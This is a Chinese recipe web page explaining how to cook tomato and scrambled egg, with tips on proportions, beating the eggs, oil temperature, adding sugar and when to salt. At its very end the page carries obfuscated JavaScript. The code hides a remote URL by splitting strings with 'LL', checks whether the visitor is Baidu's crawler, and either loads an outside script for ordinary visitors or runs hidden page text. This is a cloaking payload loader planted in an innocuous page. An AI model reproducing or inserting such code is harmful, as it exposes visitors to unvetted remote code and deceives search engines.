當(dāng)前位置:首頁(yè) > 飲食 > 烹飪技巧 > 正文

番茄炒蛋怎么做好吃?番茄炒蛋的做法與技巧

2013-03-15 11:46:24  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):番茄炒蛋是以番茄和雞蛋為主要食材的家常菜,是一道色香味俱全的佳肴,爽口、開(kāi)胃、營(yíng)養(yǎng)價(jià)值豐富。但是要想做出營(yíng)養(yǎng)好吃的番茄炒蛋是有技巧

番茄炒蛋是以番茄和雞蛋為主要食材的家常菜,是一道色香味俱全的佳肴,爽口、開(kāi)胃、營(yíng)養(yǎng)價(jià)值豐富。但是要想做出營(yíng)養(yǎng)好吃的番茄炒蛋是有技巧的,下面一起來(lái)學(xué)學(xué)怎么做吧?

番茄炒蛋怎么做好吃?番茄炒蛋的做法與技巧
番茄炒蛋怎么做好吃?番茄炒蛋的做法與技巧

番茄炒蛋的做法與技巧

1、通常咱們用兩雞蛋配上西紅柿兩個(gè)。雞蛋和西紅柿的比例非常重要,要是西紅柿少了,炒蛋吃起來(lái)能感覺(jué)味道不足、油膩、干澀;西紅柿多了會(huì)太酸、湯水太多、不能盡興吃到炒蛋。不錯(cuò)的原料搭配不但是美味的基礎(chǔ),而且還是營(yíng)養(yǎng)均衡的保障。

2、打雞蛋的時(shí)候咱們要小心,“要狠狠的打”,要逐漸加快速度,筷子尖要每一下都刮到碗底,要讓筷子盡可能多地浸在雞蛋里,到每次筷子在碗口外運(yùn)動(dòng)時(shí),幾乎全部雞蛋都躍出了碗口平面,并且停住打蛋時(shí),雞蛋表面有很多泡沫,這才可以算雞蛋做行了。

3、炒雞蛋時(shí)要多加油,油要熱。要在鍋中倒入和雞蛋一樣多得油,等油燒熱再把雞蛋倒入鍋內(nèi),倒雞蛋前,把油鍋搖一搖,讓油敷滿鍋底,這樣雞蛋就不會(huì)粘在鍋上了。倒雞蛋要延著油和鍋的邊緣倒入。雞蛋入鍋后要立即用鏟子或筷子快速攪動(dòng)雞蛋,這么可以使全部雞蛋都吸收足夠的油脂,都受到油的高熱。

4、在炒西紅柿的時(shí)候咱們可以加點(diǎn)糖。這樣做可以中和西紅柿的酸味,口感更好。而且要利用西紅柿汁水的滋潤(rùn),在切西紅柿?xí)r,盡量切成橘子瓣型,這樣才可以獲得非常多的汁水。

5、先關(guān)火,并且最后出鍋時(shí)才加鹽,正是西紅柿炒雞蛋得一個(gè)密技。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}